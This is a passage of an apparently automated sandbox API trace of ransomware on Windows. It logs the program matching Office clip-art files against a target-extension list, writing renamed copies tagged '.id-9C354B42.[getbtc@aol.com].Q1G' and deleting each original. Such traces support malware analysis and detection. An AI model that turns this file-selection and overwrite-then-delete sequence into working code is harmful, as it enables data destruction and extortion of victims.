office\\clipart\\pub60cor\\j0107148.wmf")) returned 1 [0258.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0258.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0258.706] lstrlenW (lpString=".doc") returned 4 [0258.706] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.706] lstrlenW (lpString=".docx") returned 5 [0258.706] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0258.706] lstrlenW (lpString=".pdf") returned 4 [0258.706] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.706] lstrlenW (lpString=".xls") returned 4 [0258.706] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.706] lstrlenW (lpString=".xlsx") returned 5 [0258.706] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0258.706] lstrlenW (lpString=".ppt") returned 4 [0258.706] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0258.706] lstrlenW (lpString=".zip") returned 4 [0258.706] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.706] lstrlenW (lpString=".rar") returned 4 [0258.706] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.706] lstrlenW (lpString=".bz2") returned 4 [0258.706] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.706] lstrlenW (lpString=".7z") returned 3 [0258.706] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0258.706] lstrlenW (lpString=".dbf") returned 4 [0258.706] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0258.706] lstrlenW (lpString=".1cd") returned 4 [0258.706] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0258.706] lstrlenW (lpString=".jpg") returned 4 [0258.707] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0258.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0258.707] lstrlenW (lpString=".doc") returned 4 [0258.707] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.707] lstrlenW (lpString=".docx") returned 5 [0258.707] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0258.707] lstrlenW (lpString=".pdf") returned 4 [0258.707] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.707] lstrlenW (lpString=".xls") returned 4 [0258.707] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.707] lstrlenW (lpString=".xlsx") returned 5 [0258.707] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0258.707] lstrlenW (lpString=".ppt") returned 4 [0258.707] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0258.707] lstrlenW (lpString=".zip") returned 4 [0258.707] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.707] lstrlenW (lpString=".rar") returned 4 [0258.707] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.707] lstrlenW (lpString=".bz2") returned 4 [0258.707] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.707] lstrlenW (lpString=".7z") returned 3 [0258.707] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0258.707] lstrlenW (lpString=".dbf") returned 4 [0258.707] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0258.707] lstrlenW (lpString=".1cd") returned 4 [0258.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0258.707] lstrlenW (lpString=".jpg") returned 4 [0258.707] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.708] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0258.708] lstrlenW (lpString="J0107290.WMF") returned 12 [0258.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0258.708] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=12308) returned 1 [0258.708] CloseHandle (hObject=0x3b4) returned 1 [0258.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf")) returned 0x20 [0258.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0258.714] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.714] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0258.729] GetLastError () returned 0x0 [0258.729] ReadFile (in: hFile=0x360, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x3014, lpOverlapped=0x0) returned 1 [0258.760] WriteFile (in: hFile=0x3b4, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x3020, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x3020, lpOverlapped=0x0) returned 1 [0258.761] ReadFile (in: hFile=0x360, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.761] WriteFile (in: hFile=0x3b4, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0258.761] SetEndOfFile (hFile=0x3b4) returned 1 [0258.761] CloseHandle (hObject=0x3b4) returned 1 [0258.761] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.761] SetEndOfFile (hFile=0x360) returned 1 [0258.764] CloseHandle (hObject=0x360) returned 1 [0258.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.791] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf")) returned 1 [0258.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0258.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0258.823] lstrlenW (lpString=".doc") returned 4 [0258.823] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.823] lstrlenW (lpString=".docx") returned 5 [0258.823] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0258.823] lstrlenW (lpString=".pdf") returned 4 [0258.823] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.823] lstrlenW (lpString=".xls") returned 4 [0258.823] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.823] lstrlenW (lpString=".xlsx") returned 5 [0258.823] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0258.823] lstrlenW (lpString=".ppt") returned 4 [0258.823] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0258.823] lstrlenW (lpString=".zip") returned 4 [0258.823] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.823] lstrlenW (lpString=".rar") returned 4 [0258.823] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.823] lstrlenW (lpString=".bz2") returned 4 [0258.823] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.823] lstrlenW (lpString=".7z") returned 3 [0258.823] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0258.823] lstrlenW (lpString=".dbf") returned 4 [0258.823] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0258.823] lstrlenW (lpString=".1cd") returned 4 [0258.823] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0258.824] lstrlenW (lpString=".jpg") returned 4 [0258.824] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0258.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0258.824] lstrlenW (lpString=".doc") returned 4 [0258.824] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.824] lstrlenW (lpString=".docx") returned 5 [0258.824] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0258.824] lstrlenW (lpString=".pdf") returned 4 [0258.824] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.824] lstrlenW (lpString=".xls") returned 4 [0258.824] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.824] lstrlenW (lpString=".xlsx") returned 5 [0258.824] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0258.824] lstrlenW (lpString=".ppt") returned 4 [0258.824] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0258.824] lstrlenW (lpString=".zip") returned 4 [0258.824] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.824] lstrlenW (lpString=".rar") returned 4 [0258.824] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.824] lstrlenW (lpString=".bz2") returned 4 [0258.824] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.824] lstrlenW (lpString=".7z") returned 3 [0258.824] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0258.824] lstrlenW (lpString=".dbf") returned 4 [0258.824] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0258.824] lstrlenW (lpString=".1cd") returned 4 [0258.824] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0258.824] lstrlenW (lpString=".jpg") returned 4 [0258.824] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.825] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0258.825] lstrlenW (lpString="J0107308.WMF") returned 12 [0258.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0258.850] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=15888) returned 1 [0258.850] CloseHandle (hObject=0x3c0) returned 1 [0258.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf")) returned 0x20 [0258.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0258.864] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.865] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0258.876] GetLastError () returned 0x0 [0258.876] ReadFile (in: hFile=0x3a8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x3e10, lpOverlapped=0x0) returned 1 [0258.896] WriteFile (in: hFile=0x388, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x3e20, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x3e20, lpOverlapped=0x0) returned 1 [0258.897] ReadFile (in: hFile=0x3a8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.897] WriteFile (in: hFile=0x388, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0258.897] SetEndOfFile (hFile=0x388) returned 1 [0258.897] CloseHandle (hObject=0x388) returned 1 [0258.897] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.897] SetEndOfFile (hFile=0x3a8) returned 1 [0258.900] CloseHandle (hObject=0x3a8) returned 1 [0258.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.924] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf")) returned 1 [0258.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0258.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0258.925] lstrlenW (lpString=".doc") returned 4 [0258.925] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.925] lstrlenW (lpString=".docx") returned 5 [0258.925] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0258.925] lstrlenW (lpString=".pdf") returned 4 [0258.925] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.925] lstrlenW (lpString=".xls") returned 4 [0258.925] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.925] lstrlenW (lpString=".xlsx") returned 5 [0258.925] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0258.925] lstrlenW (lpString=".ppt") returned 4 [0258.925] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0258.925] lstrlenW (lpString=".zip") returned 4 [0258.925] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.925] lstrlenW (lpString=".rar") returned 4 [0258.925] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.926] lstrlenW (lpString=".bz2") returned 4 [0258.926] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.926] lstrlenW (lpString=".7z") returned 3 [0258.926] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0258.926] lstrlenW (lpString=".dbf") returned 4 [0258.926] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0258.926] lstrlenW (lpString=".1cd") returned 4 [0258.926] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0258.926] lstrlenW (lpString=".jpg") returned 4 [0258.926] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0258.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0258.926] lstrlenW (lpString=".doc") returned 4 [0258.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.926] lstrlenW (lpString=".docx") returned 5 [0258.926] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0258.926] lstrlenW (lpString=".pdf") returned 4 [0258.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.926] lstrlenW (lpString=".xls") returned 4 [0258.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.926] lstrlenW (lpString=".xlsx") returned 5 [0258.926] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0258.926] lstrlenW (lpString=".ppt") returned 4 [0258.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0258.926] lstrlenW (lpString=".zip") returned 4 [0258.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.926] lstrlenW (lpString=".rar") returned 4 [0258.926] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.926] lstrlenW (lpString=".bz2") returned 4 [0258.926] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.927] lstrlenW (lpString=".7z") returned 3 [0258.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0258.927] lstrlenW (lpString=".dbf") returned 4 [0258.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0258.927] lstrlenW (lpString=".1cd") returned 4 [0258.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0258.927] lstrlenW (lpString=".jpg") returned 4 [0258.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.927] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0258.927] lstrlenW (lpString="J0107358.WMF") returned 12 [0258.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0258.931] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=7964) returned 1 [0258.931] CloseHandle (hObject=0x3a0) returned 1 [0258.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf")) returned 0x20 [0259.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0259.009] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.009] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0259.010] GetLastError () returned 0x0 [0259.010] ReadFile (in: hFile=0x3a8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x1f1c, lpOverlapped=0x0) returned 1 [0259.036] WriteFile (in: hFile=0x388, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x1f20, lpOverlapped=0x0) returned 1 [0259.037] ReadFile (in: hFile=0x3a8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0259.037] WriteFile (in: hFile=0x388, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0259.037] SetEndOfFile (hFile=0x388) returned 1 [0259.038] CloseHandle (hObject=0x388) returned 1 [0259.038] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.038] SetEndOfFile (hFile=0x3a8) returned 1 [0259.040] CloseHandle (hObject=0x3a8) returned 1 [0259.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf")) returned 1 [0259.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0259.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0259.041] lstrlenW (lpString=".doc") returned 4 [0259.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.041] lstrlenW (lpString=".docx") returned 5 [0259.041] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0259.041] lstrlenW (lpString=".pdf") returned 4 [0259.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.041] lstrlenW (lpString=".xls") returned 4 [0259.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.041] lstrlenW (lpString=".xlsx") returned 5 [0259.041] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 